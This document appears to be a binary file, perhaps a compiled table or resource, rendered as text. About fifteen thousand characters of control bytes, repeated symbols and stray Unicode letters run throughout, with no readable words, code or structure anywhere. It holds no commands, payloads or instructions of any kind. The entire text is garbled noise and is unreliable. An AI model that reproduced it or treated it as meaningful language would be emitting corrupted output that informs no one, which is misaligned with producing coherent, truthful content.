d!d"dd#$d%dd&'d(,d)d*d+d9-d.d/d9dd126d34dd59d7dd8d9:B;d<d=>dd?@dAddCddDEdFdGdHdIddKLTMdNQOdPdd9dRSd9dUdVddWdX9dZ|[m\]^f_b`a<Qcd9;eӷ7gjhiȐNkl9;7;ntopqr.s.uvywx;d;z{}d~,mVmV,,mV,vCg#J;3dNzB7dN)Jd7h7977BSd;;17d+ʠ.G.G.G.G.G.G.G.G7шdʠ;d^;Bʠ;N9   7g I7; =!0")#&$%;Jd'(;*-+,g./123456789:;<>?D@CdAdBеEF7GHJdKUZ8LMRNO;PQk7ST79VNW^X[YZ;\]g_b`acefgvhoiljkçmnBpsqr/Qgtuԙw~x{yz;|};9,z7d7B;d7;7*Nʠg|73;<7B<J;g779BQʠ<7ouououou779g;ʠ;[#997;;<7*gd"$g777 7 77  77 777777777,7777777 7!7hy7$%<&<'G(9)*1+.,-7d/0+2534;68d7:g;<gg=>g?g@gAgBgCggDgEgFgHZIJTKPLOMNpZǎ';QS3RL*,SUXVW+Y7\]^<_{`xawbcidZehfgZʠʠZjpkmZlտZnoפʠqtrsGʠʠGuvʠZG7yz77;7|}~777777z7;B93<zd77d77dʠJgJ97g7-;M7;d;97;Jd;(<<J:l;+ 7 ;   *d;'^%! ;"#$&)'(*,-3.1/0J24756d98:9Jʯ<=7?e@ABCD9EcFGdHIXJQKNLM/OPJ6fRUST+VW++)Y`Z][\h#q^_-Dabԙ6udesflgjhi99k;9mpnoшqr;t{uxvw;;yzB|}~;;<;;*;;z;79>d9Q/*;g;Jr93LQdç;+;F#;7<d;B7;;ȐPFF0U"PFF0U"whVBBB5MB&B    B BBBBBBB BBBB!$"B#B%B'B(:).*-+7,7B77B/402B17B73B7576B7B897BB7;B<=7B>@B?7BABB7CHDFE7B7G7B7ILJK7BB77BBNBOBPBQBRSBBTUBkBWdXaBYBZB[\B]`^_BBBbcBBBefBBgB7iNjkBlmBnoBp|qvrtsBuBwzxyBB{B}~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB7777kBs 7B7,65hyhyBFQa7/777,BBBBBBBBB  BB   BBBBBBBBBBBB 8!+"'#%$B&BB()*BB,2-0./BB1B354B67BB9C:>;<B=B?AB@BBBDJEGBFBHIBBKLMBBOBPlQBRBBSTaU\VYWXBBZ[BB]_^BBB`BbgceBdBfBhjBiBkBBmnvoBpBqtrBBsBuB/B5Bxyz{~|};;7;;d7;7**7dd;;77g;dS7d;;(K;+7;ʯgd99;;<97ʠSd*7ççççççççççççççççççlçççççççç-d777 7  73  ;;;8Jg777*# 0 ;!"7$'%&;()ʠ+2,/-.701NEd354r679:7JB<=W>?M@ABCDEIFGHJKLNOPQRSTUVX\YZ[d]^_r`akbgcdefhijlmnopqstuzvwxy{|}~<dddd9M!    d ddddd 9"7#$.%&-'()*+,dd/01234568H9:;<B=>?@ASCDEFGSIJKOLMNPQRTeU<V<W<<XY<Z<<[<\]<^<_<`<<ab<<cd<$<fdghxS=ijpkml;no;*qursJt-vw;yz{~|};J.G<7dB;7;<7;<<ʠ<Q;;7ldH<7*;>\O"777777q7777777q7gd.Gq;9ԙdBȺȺȺ:ȺȺ:ȺȺȺȺȺȺȺlȺ*ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ-ȺȺ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ0FȺȺȺȺȺȺȺȺȺȺȺ%Ⱥ" ȺȺ!Ⱥ#ȺȺ$ȺȺ&'Ⱥ(ȺȺ)ȺȺ+,4Ⱥ-.Ⱥ/Ⱥ0ȺȺ12ȺȺ3Ⱥ0FȺ56<7Ⱥ8Ⱥ9Ⱥ:Ⱥ;ȺȺȺ=>Ⱥ?ȺȺ@AȺȺCYDMȺEFȺȺGHȺȺIȺJKLȺɚɚȺNȺOȺPWȺQRȺȺSTȺȺUȺVȺ55XȺ5ZȺ[Ⱥ\Ⱥ]Ⱥ^Ⱥ_ȺȺ`aȺbcȺȺefoghikjlmnpq|rstuvwxyz{-}~-ç-ç-çȺȺȺȺȺȺȺȺ5<7<<<7'nq`'^<<<<7d;gI! gggg7gggJgʠggg    r.r.Xggr.r.4gNgr.ggg ggg";#3$&%4g')(gg*+,-./0120F47g56gg8:9ggg<C=?g>g@AgBggDEGFçgHgdJKiLZMSNP7OrQRr;TWUV<XYg[b\_]^;`a;cfdeʯ;gh3ʯjxkrlomnQdʯpqBsut7vwyz}{|~ʯ7J>NEgg-Q7d7;g;+7;;Y#73+7;d;ʠе<<79dBʠϋdQd d(Kd$   - .G*>R77;QJ 7!87"7#$-7%&77'(7)+7*7B,7,B.7/77071727374756777779:7;F<7=77>?77@7A7B7C7DE77G77HI7J77K7LM77N7O7P7RsSrTUVdW[FQXY7Z7z7\7L*]7^7_7`7ab7c77elfigh7gjk7mon9pq7t*u*vw**xy**z{**|}*~******7zLW-E|EERzLW-E|EEzzLW-E|EERzLW-E|EEz;Ȑ7<;gg<;g7;<;ʠеdd< $ ççççç5çççç5ç5çççççççç5çç5ç7JJ9J  G + 797J;97$! v;"#9d;%(&'<)*<;;,8-2.0/1;3645;7dg9@:=;<d>? gADBC7EFBHVIOdJKML;|N;}}PRQJ;SUT;W_X[YZB\];^g`agdbdcd9fghijknlmdopqrxsutN,vw<|y|z{7}~Nԙ;N6)* *d6Bg77**77777777777B777777777777z77777777777s 777ddddddddd977g7G;g77775777G:ʠ79˭2(     ,7d.G ;d7Q777!$"#%&;',<9)*;+1,<-<.</0<tR2<d+3456789U;<Dd=>dd?@dAddBdCdEF65H}IJdKdL\M[N7OPQRSTUVWXYZŅQJ]c^_`abʠeqflghi;;j;k;<mno;p;ru<st;;vx;w9{-y{7z`|;7~x_dbfd<;;d7;dʠ7dR9ϋgdR;d7ʠ7J;d79;7;B7ԦJ9 db>7 >79;dqS-     ʠZGZZʠZפʠտZտʠտʠZտZWZ !տʠZ"#ʠʠ$%ʠʠ&'*ʠ()ʠZʠʠ+,ʠʠZ.J/50312ZZʠ4տտʠ67տʠ8A9Zʠ:;ʠ<ʠ=ʠ>ʠʠ?ʠ@ʠBʠʠCʠDEʠFʠʠGʠHIʠZʠKPLNZMʠwZOʠWʠQʠRפʠT<U^VYWZʠXտZ\ʠ[ʠտտ]ʠտ_c`baʠMʠʠZdfeZʠgh6ʠijʠʠkʠlʠmʠnʠopʠʠrvs<CtuZwxy~z}{|ʠZʠZʠ<ʠZ<ʯB79dQ-llJJJJJJ@J@JJ@J11;Ȑd7g;<V7$>d>d9.G97gd$ʠg;.G g;;z,d  ; > N;g;dJ;;;/ 3;!"(е#$&%е'е),*+е-е.е01;2P3B4;5867;d79:;<?=>79@A7CJDGEF<HIdJ9KML;9NOQR1STUhWwX9YZi[b\_]^gz`a<cfde;L;ghRjqknlmJop77rt;suvd;\ʠxyz{|}~D/çççççççç5ççȺçççççç5çççççççç5ç5çççççç0Fçççççççç0Fççççççççççççç`ççççççççç5çççç5 ççççççççç]ççççççççç ç ç  çççççççççç55ççç!çççççç ç"*#$%&'()7+ç,ç-çç.ç051H2?374555565ç85955:5;5<5=5>5@55A5BC55D5EF55G5IV5JK5L55MNR5O5P5Q-5S5T5U5-55WX55YZ5[5\55]^55``abcdef9gvhoiljk7dmnd9psqr7dtu;w}xzydBd{|z7~Ԧ;7;9Jʠ796667***#*#ʠ*J7Q77;7gJCCCCCCC4&Cd;7Qw7;B;/;<;9;<<<<<<<<K7;1е<Lbbbbbbbbbb b b b bb .)bbbbbbbbbbbbbbbbb.)J ;!"#/$%&'()*+,-.@0123456789:@<=>?@ABCDEFGHI"KMNJ7OPRQ1(KSTgUZVYW;X)D)[\7]^_`abc++d+ef++hpimjkl7noqtrsgduwv)O"yzB{|}~9J*d9;;7d';;;;;;;;IL;<66666666616666666616d;77<777;;p;z;9J777777777777B77B777B777B7B77777777777,77 77  77  7777,7J:7777757(!77 77"'#%7$/77&/7,7)7*0+-7,7 ./57 71327574775677897w[B;<?=>77@A7CDREd*F*GH**I*JK*L**M*NO*P**Q*6SwTWUVBXJYZi[b\_]^9/`a<<cfde3zgh<72jqknlm;opQ/rustvx7y77z{7|77}~777&99999999999999999997J<;N;ш;7;d<;;9;dJ77;g;;ʠе#oN;N'N;;;;     [[% !"#$'`(C).*+,7-77/A0<152346978Ù:M;=>?@rBDEYFGHLIJz7KB5MON7PQRSTUVWXZ[Jʠ\/]*^_<abcdesfmgjhi;dkl7;nqop7r9<t{uxvw;yz;;|}~d,r.dd<Qgdgd977;/77777777777777777;;da;<g9ddddddddddddddddddddddddddddddddddddddd-,g0Ud9;<;d;dd7  7   +++"7 - !77>#&3$%çd7')(77*+SqS9.7/0c1J293645ʠ;778d:G;<=>?@ABCDEFgHIB;K\LYMN>OPQRSTUVWX/Z[]`^_,;abd7dewfmgjhizgklhnroqp9ʠ9suNtv7<xy|z{BN}~0 ,0 7<<;;J9<Q;d;;g;;3;9;Ȑ9)BdF`9g7ggd9555çç5]çɚ5Ⱥl5çl-ç( 9    g϶(g϶ʠ!d vd"%#$;g&'<d*l+K,;-4.1/0dQ23;5867d9:;z<C=@>?;AB7DHEGF<77IJ7;L[MTNROQP77S;UXVW7YZ\e]b^a_`Nb7cd;7gfighdjkdJ;mn~ovpsqr9tu;/gw{xzyd|}d7777777777;/;9;d;ʠʠd7;7dPI/97ggJ<ddddddd9dddddddJT7,N77ʠNJN7rdd;7&B;7    J JJJJJJJ`B7 #!"9$%d'/(+)*77,.-60312N;45;36089S:;Zh<=>?@ABCQDEFMGJHI-ȺKLlXNOPȺç5R-9UVWJXpYZ[c\7]`^7_77}a77b7dlefigh)4*kjk-Ȑmnogqyrst7u77vwx77,S7z{|}~7v;/;ԙ*/L+6ʠ9g7*7Ȑ7dççççɚçç9J'n'|ʠе<;d;7;N-*!    ;; ;+ԙbP<; ;g(K"'#%$B;&/(*)z;+,;-;.70 17234T567?89:;<=>@KABCHDFEGIJLMNOPQRSSUxVWXdYZ_[\d]^d`abcdefpghkijddlnmddodqrustdvwdy|z{9}~9nnddR    ;;;99gggggg g!g"#gg$g%&gg'(g)g#g+,q-7.1/0792B3=475689:<b;ԙq(>?<<@A2<2CRDJEHFG7I;KNLM++OQP+-SbT[UXVWd;9YZՒ\_]^/<`a+<cjdgefʠYhi<d<knlmеoprvstuN7JwxTyz{|>}>~>>{>@{>@{>>@{>>"@{@{@{@{U @{>@{>"@{>>@{>@{>@{>>>>6>@{@{@{@{>@{@{>>>>>@{>>>>>>@{@{>>>>>>>>@{>>>>>>@{>>>>>N>>>>>>>>>>>N>>>NN>N>@{>>>>@{>>>>@{>>>>@{>>>>>>@{>>>>>@{>  >>  @{ >>>>>>N>>>>>>N>N>>@8 )!$>">#U %NN&'(l*.+N,N-I/4031N2ϨNlN5>6>7Ϩ>9>:>>;<>>=>?>>A>BOCID>>E>FG>>H>NJ>>KL>M>N>lP>>QRS>>NUVxW]X>>YZ>>[>\N>^h_e>`a>>b>c>d@{>f>g>">ipNjNkNlNmNnoN>Nq>r>s>tw>u>v>7 N>y>z|>{>@{>}~NN>>ϙN]NNNN]N>NN>>>>N>>BS>>>>>>>>N>{>>>@{>>>>>>>>{>>>@{>@{>>>>>>>>>>>@{@{>@{>>>@{>>@{>>>>>>>@{>>>>>>@{>>l>>l>l>>{>L$>>>>>>>>>>>>>  BSBS>BS>  BS>BS> >BS>>>>>>>>>>N>>7>#>>>> !>">>>l%8>&>'(7)2@{*+0,@{-@{.@{/>@{>1>@{>@{3>45>6>>@{>9I:A;><>=@{>@{?@{@@{l>B>C>DE>>FG>H>N>>J>K7'>MN[ORP>>QBS>>ST>>UV>W>X>Y>@{Z@{>\w>]^>_n`hae>b>c@{d>@{@{fg>>@{i76j76k@{l>>m@{>o>p>qv@{rs>t>u>>@{>"xyNzNN{|}N~NN>>N>N]NNNNNN>N>N>>>@{UԦSSSSSSSSSSSSSSSSSS$zdN$$u6 79d9;;d97ʠqgGRqq,9';;;J;J37d7J ;   977E7E7Eg.G' ;4ng!$"#7J%&q(/),*+е-.;0312ʠ`457f89:;a<=^>?@AHBCDEFGIXJOKLMNPQURSTVWYZ[\]_`bcdeghiwjklmnoipqrstuvxyz{~|};/9B5Jd;9;7;;*gqd3ba;J7SJ9979J37ʠ1J<9<˞1A ;9;>0  E 7 >7#7S5&;3J #!"9$%V V'.(+)*Jd,-;/201 g34dr.'nd6D7=8;9:gd9<<>A?@Z8BCd;7ELFIGH9JK9MPNOJZ8JdQRT[UXVWJʠYZ;;\_]^97`Z8<b<cd<<e<fg<h<i<j<k<l<<mn<o<<p<JrstuJvw}xy{z|~dddd;#;;/'nHq`;;J777d3739/d7<ϋ;97;d*;g7g<9J7;757 g;99 Ld  J9 33;***Qz) gQ;!$"#77hy%&;'(7*,+7-.01L2I3H4C5<69787+:;;/=@>?7AB70DEFGFJJKJwMoNO`PXQURTSVW<*Y]Z[*\͹^_<zaibec7dpfghpkjmkl);nd;+-3pqrsztwuvg*xyd3<{~|}7*ʠg<;#779M*3d9mMMdç<17;Z89ʠ7NSQ7d(Kd7dg;d7 d39Cg777dzdJdе99; ;7    '|;<;dBB@?!77 7"0#*$'%&();+.,-9;9/9;182534679d9<:;=>;dABʠDeEFGHLIJKNMNOZPQRSTUVWXYç[\]^_`abcdçfJghiyjrkolmnpqϋ:svtu9<;wxz{|}~<l$g.G77<9-\/I\T>QZhQT[[kQ.G.G^^^+-I*{Zh[[[ZhZhZx{@k@k]>Z8EZxBCBCBC BC^<@k^\],Z8;#l@k>>Z8 M   r  `:!Zx"ZhȬ$3%-&*'()[Q+06,0606./1060]2[kL4\56978@k06:T<H=E>@?ABCD{@kFG@k[BCJlKLeM[NOPQRSTUVWXYZ5\]a^_`bcdZHfghijk\mnoupqrst[vw{xyzZx|}~ZxZ8ZxZh[ZhZx[ZhZZxZhZ8[H7T[}Z8\[Z8\[\\A[\Zx[#     ][Zh[],Zx !"]$6%-&*'()\+,Zx.2/01\3Zx45Zh[7;89:[<C=@>?ZxAB[DEFGZIJTKRLIMN>OPZ>Q[kZ8S],_>UtV\WXYZ[Zx]^j_c`ab\ZxdgefZZhi],[]ZxknlmZxorpqZh\[sTuv}wx{yzZ|Zh~Zx][ZhZ[[Zh[Z8]*Zh^<Zx[Z8Zx[Z8ZhQ7d7dT``3Dii))q!*vRqD>)D*>D*)*i*>>*t*>*sqpi)D i)  щ  )*)> DD)))!+"&#$%*)*'i()*)*>,-.0/t=12*>t=s4q5D6;789:*>*><=@>?NbiACB)*MiEUFJGHINb)KPLM)NO* zQR|SiTiщViWaX[YZ|\^]*)*_`N7bec*d*)fghijklomn*>*>pщrswtuv*>xy}z{*\pi|zщ~*>DD*)*k*w)*Tti* *>i!piT^[k`Z8ZxZ8[\TZ8Zh7p7ZxTZH]ZxZh>>>>>>>>>>>>>\]    ZH ^ZxZ[[[[7Q7 &!$"#@kB%\A'(>[)1*+[7[,-/],.],]<0],]<],26345ZxZh[Z89A:;<=>?@7BCDEFGHIJKLMNOP[LRST\UXfVfW\YZxZ[[[Zx]}^_Z`aobhcfde]gZhiljkZ87[mnZ[\pwqtrsZxZ8uvZxZZhx{yzZHZh]k|ZxZ~^>ZZH\Zh[[[ZHZ8Zh[Zh[ZhZh[{Zx[Z8ZhZ[[\[Zh]ZZx[\Zx],Z8Zh\\[Zx[Zh]Zh\Zx[[[7[777[kZZH\[ZZx[Z[\qZ[[ZhT\Zh[Zx[Z8[Zx[k[[Z[a,ZZ ZZx* Z8Z   \Zx`^ZxT77T7T7T7d7dT[we !"_#@$2%+&)'(**),/-.>e01*>Nb3:4756!>)D89)tpi>;=<>>?w* *>APBICFDEd88GH8"82JMKLizc8BNO8RNSQXRUSTvR8b8r8VW8Nq|Y\Z[8s88]^>8`apbicfde88Tgh9qjmkl9=9 *Mno909@9PqxrustLu9_vw9o99y|z{999S}~9a999::(Nr:/:?o:O:^t={:m:|::::::::;;;(+;76\;F;V";e;u;*\;;;;kN7*/;;;<<<"<1<@S= ==*+sj=:h#u=J**=Y=i{C*<[\[k^<]Z[\\aT_*Z[{[\    ZX^^] ZZh\qZxZxZx%Zx\]" !]k^#$^ ZH&-'*()\AZ+,ZZ.9/801\\2\34\\5\6\7=y\]:;\Zx=V>I?D@CAB]k[]EHFG[]]JPKML\NO]Z8QTRSZZxUaGWX_Y\Z[\]^],`cab],[d^f_cgvhirjnk^lZxmTo[\ApqZ8Zstu^\x6yz{|}~>r>>>r>>>>>=>r>>>>>>>>>>>>>>|||| @>>>=>>> > >>@   =0+&$ !"#>%r'()*>>,-./r12345>7s8l9f:I;?<=>>@CAB>DFE>GH>>JRKOLMNr>>PQ>SaT_U^V>WXYZ[\]c1>`rbdc>e>ghijk>mnopqr>@tuvw}xy{z>|>~>>>r>>>>>>a**)>e*>Nb!>)D)tpi>>w* *>d888"82izc8B8RNSvR8b8r88Nq|8s88>8 88T9q9=9 *M909@9PLu9_9o99999S  9a99  9::(Nr:/:?o# :O:^t=!"{:m$'%&:|:::():+j,K-<.5/201::::34;;;(6978+;76:;\;F=D>A?@;V";eBC;u;*\EHFG;;IJ;;kL[MTNQOPN7*/;RS;;<<UXVW<"<1<@SYZ= rs==*+sjuxvw=:h#yzu=J|*}*~=Y=i{C**)>e*>Nb!>)D)tpi>>w* *>d888"82izc8B8RNSvR8b8r88Nq|8s88>8pi8T9q9=9 *M909@9PLu9_9o99999S9a999::(Nr:/:?o:Oщt={:m:|::::> :::pi;;;(    +;76\;F;V";e;u;*\;;;;k /!("%#$N7*/;&';;<<),*+<"<1<@S-.= FG==*+sjILJK=:h#MNu=JPUQTRS=Y=i{C*>!VW!*>*>X*>Z][>\>^_`>bCcdeftgmhkijl)nqop>ers*>Nbu|vywx!>)Dz{)tpi>}~>w* *>d888"82izc8B8RNSvR8b8r88Nq|8s88>8pi8T9q9=9 *M909@9PLu9_9o99999S9a999::(Nr:/:?o:Oщt={:m:|:::: :::pi;;;(+;76\;F;V";e;u;*\;;;;k N7*/; ;;<<   <"<1<@S= ()==*+sj+.,-=:h#/0u=J273645=Y=i{C*>!89!*>*>:*><?=>>>@AB>DuEZFTGPHKIJ* LNMOQRSUVWYX[m\c]^a_`bdhefgikjlnorpqstvwxy}z{|~+ZZh]\qZhZhZh]k^^ ZH\AZZZ]\Zx]k]ZhZh],]]Zh\]Z8^,#]ZZxaG#\Zh[],     ^[Z[Zh]["**** !**)#)$(%&'>\qZx*],,-.>01],2],3],4],5],],6],78],9],:;^<M=E>],?],@],A],B],C],D],=],F],G],H],I],J],K],L],=],NVO],P],Q],R],S],T],U],=],W],X],Y],Z],[],\],]],=],_p`ha],b],c],d],e],f],g],=],i],j],k],l],m],n],o],=],qyr],s],t],u],v],w],x],=],z],{],|],}],~],],],=],],],],],],],],=],],],],],],],],=],],],],],],],],=],],],],],],],],=],],],],],],],],=],],],],],],],],=],],],],],],],],=],],],],],],],],=],Zh],Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8^ [Z[Z==     \c:*>%T\a[{TZTT !"T^,[#$[Zh[&'([)[T+.,-/4021356789_;<=>f?S@KAGBDC*EF*)HIJNbLOMN)PQ*))R))T_UXV!W!*)Y\Z[izc8B]^8RNS`dabc)egmhi*>)jklnyotpr*MqN*M)s)uw)vqxqqz{~|}:O:^t={:m:|::::::;;;(+;76\;F;V"*;eNb;u)vR)vRvR*\t>e))>>))))9*)>e*>Nb!>)D)tpi>>w* *>d888"82izc8B8RNSvR8b8r88Nq|8s88>8 88T9q9=9 *M  909@9P  Lu9_9o99999S9a99*# 9::!"(N$'%&r:/():?o+2,/-.:O:^t=01{:m3645:|:::78::y;Z<K=D>A?@::::BC;;;(EHFG+;76IJ\;FLSMPNO;V";eQR;u;*\TWUV;;XY;;k[j\c]`^_N7*/щab;;<<dgef<"<1<@Shi= ==*+sj=:h#u=J**=Y=i{C*q*)>e*Nb!>)D)tpi>>w* *>d888"82izc8B8RNSvR8b8r88Nq|8s88>8pi8T9q9=9 *M909@9PLu9_9o99999S9a999::(Nr:/:?o:Oщt={:m   :|:::  :N/ :::pi;;;(+;76\;F!("%#$;V";e&';u;*\),*+;;-.;;k0?182534N7*/;67;;<<9<:;<"<1<@S=>= VW==*+sjY\Z[=:h#]^u=J`eadbc=Y=i{C*>!fg!*>*>h*>jmk>l>nop>rstuv|wzxy{)}~>e*>Nb!>)D)tpi>>w* *>d888"82)zc8B8RNSvR8b8r88Nq|8s88>888T9q9=9 *M909@9PLu9_9o99999S9a999::(Nr:/:?o:O:^t={:m:|::::/::::;;;(+;76\;F ;V";e;u;*\    ;;;;k N7*/;;;<<<"<1<@S= 78==*+sj:=;<=:h#>?u=JAHBECD=Y=i{C*FG**IK*J*L*NYOUPSQR**T*VWX)DqNbZ`[^\]**i_zab**>defvgrhoijZhk\AlZhmZhZhnZh`ipqZx\A=Zx],stu]_Z],wxy[z{|}~[ZH[Z8[^,[^\Z8[[ZhZh=ZhZh=ZhZhZh=Zh_ZhZhTZ8[ZZ8[ZhZh]\[Z8Z8Z8Z8Z8Z8Z8Z8=Z8],ZxZhTZh^],[ZxZ8[k```[k\1\1\1_TTTTT\1TZ8ZxZ[k][Z\q[\[[[Zx[Z8[kZx]T[]Z]ZhZH[[ZZ8Zh[ZhZ8Z[ZxZ8Zx[ZxZ8Z8Z8Z8Z8Z8 Z8Z8 Z8 Z8 Z8 Z8Z8Z8Z8Z8>Z8 Z8Zx_c_cZxZHZxZxZxZx!"Q#O$?%3&-'*()T[Z^<+,[ZZZ8.0/][12\[4957Z86[k[8[Zh:=;<\\[[>]Z@AHBECD\\\[kFG^<]_^ILJK\a[{aG*MNZX^[]PZxRVSUT\[Zh],WX\YZ[Zh^Zh]t^iZ_Z`ZaZbZcZdZeZfgZZh>ZZjZkZlmZZnZopZqZrZsZZ>'uv3wxyz{|}~>)DqNb*\ivR*M*>!Npi|>)DqNb*\)ivR* *>*)>>)DqNb*/*\щivR*>!Npi>>)*\щivR* *M*>NpiX4#   > NSz <i*z>*>!z<NbNSs>" !Nb!zz$-%(&'<)+*+<+,s+s.1/0isi>23)5G6>7;8:)9)*>*>Nb<=Nb++?D@BAC!!EFz!zHQILJK>MON))P*>)*>RSNb+TVUW!Y~Zl[b\^pi]!NS_`NSzazchdfeg<<iksjsimvnsoqp>>r>tu))*>wyx*>Nbz|{+Nb+}+!NSzz<<is<s>>)))NbNb++!!!*>* vR*щNb)>iipiz*>ziщqD)>piz*>zi*\Nb>* pi *   vRiщ >e>>&"piщ !#$%'(0)*-+,./12456k7T8H9C:?;=<z>* @ABvRiDEGFqIMJKL>NQOP>RS|UeV_W\XZYpi[!]^*>`cabdfghij>lm~nwotprqpiszuv*Mx{yzq|}D)>>>>pi!щq)>Nb>>Nb>>D))9Nb*/*\щizvR* >*>**>!zNpipit>>)DNbqq*/*\щizvR* *M*>*>!sjNpi| Z[ [[  [ [[>7>G>7ZX^ZhTM 7!-"'#%$9*&9*(*)**9+,9**.3/1*0*2**456**8B9>:<;**=*?A*@**CHDFE**G**IKJ**L**NSOPQRZhT\a\ATUVZxWX^L*YTZ[_c}]^_tZ`aZbZZcZdZefZgZhZZiZjZkZlZmnZZoZpZqrZsZZ>WZ8uvwZ8xZ8Z8yzZ8Z8{Z8|}Z8~Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z87T^Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8I@],Z8Zh^],],],],],],],],=Z8[^ \[L[LZx[[{[[{Zx]kaG[\[[[[[]k]kZ]Z],\1\A\[^\[2     =ZhZxZxZxZxZxZxZxZxZxZxZxZxZx>gZx \*\!")#&$%^<[ZH'(]\Zx*/+.,Zh->w][01][\3645\[{*7=89]:<Zx;Zh>[?[[{ABZ8ZhCDEZF[[kG]H\JKLZ8^MkN[[OZxPQTRSZhZx[U^\[V[W[XY[Z[[Z\]c^\]_`a^LZxb[]def#gj[{hiZX][Zlm[\nZ8opsqrZ[]Zht\uvzwxy^{|~}`3`37[\ZZHT],^^\\ZXZhT\q]\>[\ZX[#^,[Z][kZhZhZhZhZhZhZhZhZhZhZhZhZhZhZhZhZx*[k[k[k[k`[k[k[k[k`[k\a>Z[Zh[\\\\\ZhZ\][Z_[^EEZx    \\ ]T[Z[Zx\[kZZ8],Zh\Z[[[],Zx[!Zh \["#Zx[$'%&\Zx\()\Zx{*+,ZxZx./U01)23\4A5<67;89:>>=>?>@eBCDENFGHKIJrLMȐO7PQRSTUVWXYZ[]^|_`kabcdgefhijlmvnospr`q`Ǟ`ǞɚtuɚT5wxzyç{ç}~QBȐ”>=>----çç---5-->>at7>Bq>ddBqBq2 >-    - - >- - - - - - - - A?- - - - > !'"#$%&Ȑ()1*+,-./03e4R5F67?8<9:;>=>@CABDE,GLHIJKMNOPQ>SYTUVWX>Z[b\_]^>`a>cdefxgmhijklnopqrstvuçwçyz‡{|}~€‚ƒ„…†7ˆ‰Š‹ŒŽ‘’“r•–¡—˜™š›œŸžr r¢£¤«¥¦§¨©>ª¬­»>®>¯>°>±²>³·>´>µ>¶>- >¸>¹>º- >¼>>½>¾¿>>>>>>- >>>>>>>- >>>>>>>- >- >>>>>>>- >>>>>>>>>>>- >>>>>>>>- >>>>>>- >>>>- >>>>- >>>>> > >  > >>>- > !"#ç$%&'(>>*'+|,H-3.>/012>456B7<89:;-=>@?çA- >CDEFGIeJbKLUMPNO@-QQRQSQTQV_W[XYZ=\]^5:`a>cd>fyghqijkn>lm>op>rstuwv-xzç{çç}÷~îÊÀÁÂÃÄÇÅÆ5ÈÉ5ËßÌÕÍÐÎÏ>ÑeÒeÓeÔeÖ×ÛØÙÚçÜÝÞçà@áâéãçäMåæ6DMçMèM`êëí5ì5Ǟïðñòóôõö:øùúûüýþÿ-=çrr:_6DY::_!     7 Ȑ"#$%&>(Z)*k+1,>-./0;b2X3<4:56789>,;b;,=M>G?@ABCDEFǞHKIJ,L>NROPQSUT(VWYZa[\^B]Bq_`>bchdfegij>lĎmrnqopB>s>tāu>v>w>x>y>>z>{>|}>>~>Ā>>>Ă>ă>Ą>ą>Ćć>>Ĉĉ>>Ċ>ċ>Č>č>ďĮĐęđĒēĖĔĕ>ėĘQĚĢěĜğĝĞBĠġ>ģīĤĪĥĨĦħ`ĩ<>Ĭ>ĭ>įİĿıĵIJ>ijĴĶĻķĹĸĺ>ļĽľ>;b,>>>Y>r7>>E  $    !"#%3&)'(*-+>,.0/124>5:6879;<=?B@ACDFUGHOI>JKL>MNTaGP>QRSTȬǞVWXY>[Ř\v]g^3_`dabcef)BChitjkqlmon5pȬrs>u>wőx>yŃz{|ŀ}~@k>BqŁłBqńŅņŇňʼnŊŋŌōŎŏŐ7ŒœŔŕŖŗbřŢŚśŜŝŞşŠšţŤŶťŧŦ>ŨŭũŪūŬ>ŮŲůŰű7ųŴŵ>ŷŸżŹźŻ>Žžſ>>ƹUY9@>>>>>>>>>>>>>> > >>>> > > >>>>*>>>>>>>> %!#">>>$>&('>>>)>+5,-0.>/>>13>2>4>67:89>;=<>>?>>ABCDHEFGCIJKPLMNOQRSTçVxWoXYZa[\]^_`bcjdefghiȐklmn=pqr>stuvw>yzƨ{|Ɛ}ƃ~ƀ>Ɓ>Ƃ>ƄƆƅƇƌƈƉƊƋrƍƎƏƑƠƒƜƓƘƔƕƖƗȬȐƙƚƛȬƝƞƟ>ơƦƢƣƤƥ`ƧƩƸƪƫƱƬƭƮƯư>- ƲƳ>ƴƷƵƶ=>>ƺ>ƻƼƽ#ƾƿ>>>>>>>>>>>>>>>>>>>>>>>>>>>>@{>>@{>>>>>>>>>>>>>>>>>>>>>>>>>>   ç  Bq>>> !"$ǝ%Ǚ&ǘ'+()*,-Ǎ.r/P0H1A23;4586779:7<=>?@77BCDEFG7IJKLMNO7Q]RSTUYVWX7Z[\7^e_`abcd7flghijk7mnopq7sDŽt|uvwxyz{7}~ǀǁǂǃ7DždžLJLjljNJNjnj7ǎǏǐǑǒǓǔǕǖǗ7>ǚǛǜ>ǞǩǟǣǠǡǢ>ǤǥǦǧǨçǪǻǫǴǬǰǭǮǯdDZDzdz9ǵǶǷǹǸ>ǺǼǽǾǿ>>9d>>>>>>>>>>>- >>>>>>>>>>- >- >@>>Ȭ- Ȭ   > ç>>>7' !"Ȭ#$%&ç(,)*+=7-.1/0725347776789:;<=`?@ABCDEFGHIJKLMNORPQ-STçVWʴXyYZ[Ȑ\]s^d_`abcenfk>ghij>>l7m7opqr>tȃuzvwxy9{|Ȁ}~>>ȁȂ>ȄȉȅȆȇȈȊȋȌȎȍ7ȏ>ȑȲȒȥȓȟȔȗȕȖ>ȘșȜȚțǞȝȞǞȠȡȢȣȤȦȬȧȨȩȪȫ>ȭȮȯȰȱ>ȳȴȵȺȶȷȸȹ>ȻȿȼȽȾ>>>99>>7>>>>$ >Ǟ    >>>- !"#%A&ʠ'.()*+,-Ǟ/0<182534>67h9:;>=>?@>,BCDEFkGUHJIȬKTLMNOPQRS`ViW`XYZ[\]^_abcdefghȐjȐlsmpnonȺqrȬɚtwuvrxz/{|}ɟ~ɏɁɀɂɃɄɅɆɇɈɉɊɋɌɍɎ@ɐɑɒ>ɓɔɕɖɗɘəɚɛɜɝɞ7ɠɷɡɢɭɣɤɧɥɦM7]ɨɪɩMɫɬ6DA:oɮɲɯɰɱɳɵɴɶ>ɸɹɺɻɼɿɽɾ`:O:>kOoYkK/4:o:6DA>/Ǟ//9lçMç>>>99,  ,   >>e7 